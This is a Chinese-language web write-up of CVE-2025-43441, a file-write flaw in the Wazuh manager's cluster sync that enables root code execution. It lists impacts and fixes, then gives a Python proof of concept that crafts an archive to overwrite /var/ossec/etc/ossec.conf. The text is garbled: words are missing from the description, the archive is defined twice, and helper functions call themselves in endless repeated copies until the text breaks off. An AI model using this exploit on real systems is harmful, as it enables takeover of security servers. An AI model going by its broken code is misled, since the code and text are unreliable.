Wazuh管理器任意文件写入导致RCE漏洞(CVE-2025-43441)分析

漏洞概述 漏洞名称: peer-controlled metadata key in process_files_from_worker non-merged branch allows arbitrary file write under WAZUH_PATH on Wazuh manager CVE ID: CVE-2025-43441 CVSS v3 base metrics: Attack vector: Network Attack complexity: Low Privileges required: High User interaction: None Scope: Changed Confidentiality: High Integrity: High Availability: High 描述: 该漏洞允许通过伪造的 和 ，在Wazuh管理器上执行任意文件写入操作。攻击者可以利用此漏洞覆盖敏感配置文件（如 ），从而实现远程代码执行（RCE）。 影响范围 受影响版本: Wazuh Manager >= 4.3.0 修复版本: 4.14.6 主要影响: 1. Root RCE via /var/ossec/etc/ossec.conf overwrite: 攻击者可以覆盖主配置文件，导致RCE。 2. Alert rule and decoder injection: 通过写入 和 目录，注入恶意规则和解码器。 3. CDB list poisoning: 通过写入 目录，污染CDB列表。 4. Integration code injection: 通过写入 目录，注入恶意集成代码。 5. Shared group configuration override: 通过写入 目录，覆盖共享组配置。 修复方案 推荐修复措施: 1. 限制 到 指定的目录: 确保 在 指定的目录内，并拒绝超出该范围的请求。 2. 拒绝任何解析到敏感子树的 : 使用显式黑名单拒绝解析到敏感子树的 ，如 、 、 、 、 、 等。 POC代码 ```python POC代码 import hashlib import json import time import zlib from cluster_client import handshake, send, recv_msg PATH_SEP = b'\x00/\x00' FILE_SEP = b'\x00@\x00' POC_CONTENT = b'\n\n\n\n' DEST_KEY = '/var/ossec/etc/ossec.conf' metadata = { DEST_KEY: { "cluster_item_key": "etc/", any valid key from cluster.json works "merged": False, } } archive = { DEST_KEY.encode() + PATH_SEP + zlib.compress(POC_CONTENT), FILE_SEP, b'files_metadata.json' + PATH_SEP + zlib.compress(json.dumps(metadata).encode()), } archive_parts = [ DEST_KEY.encode() + PATH_SEP + zlib.compress(POC_CONTENT), FILE_SEP, b'files_metadata.json' + PATH_SEP + zlib.compress(json.dumps(metadata).encode()), ] archive = b''.join(archive_parts) print(f'[*] Archive built, {len(archive)} bytes, dest={DEST_KEY}, cluster_item_key=etc/') NODE_NAME = 'h3_ossec_node' ARCHIVE_REL_PATH = f'queue/cluster/{NODE_NAME}/h3.zip' counter = 100 def send_msg(sock, cmd, data, counter): """Send a message to the server.""" sock.sendall(build_packet(cmd, data, counter)) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_name, node_type, version): """Perform the handshake with the server.""" return handshake(node_name, cluster_name, node_type, version) def build_packet(cmd, data, counter): """Build a packet to send to the server.""" return build_packet(cmd, data, counter) def recv_msg(sock): """Receive a message from the server.""" return recv_msg(sock) def handshake(node_name, cluster_

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Wazuh管理器任意文件写入导致RCE漏洞(CVE-2025-43441)分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Wazuh管理器任意文件写入导致RCE漏洞(CVE-2025-43441)分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！